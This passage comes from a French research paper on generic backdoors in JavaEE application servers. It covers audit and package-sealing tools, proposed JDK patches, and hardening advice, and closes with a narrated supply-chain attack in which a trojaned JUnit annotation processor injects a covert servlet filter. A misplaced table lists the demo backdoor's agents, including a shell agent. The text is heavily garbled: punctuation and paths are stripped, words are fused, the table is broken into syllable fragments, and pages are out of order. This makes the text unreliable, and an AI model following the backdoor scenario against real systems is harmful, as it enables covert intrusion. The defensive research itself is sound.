Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

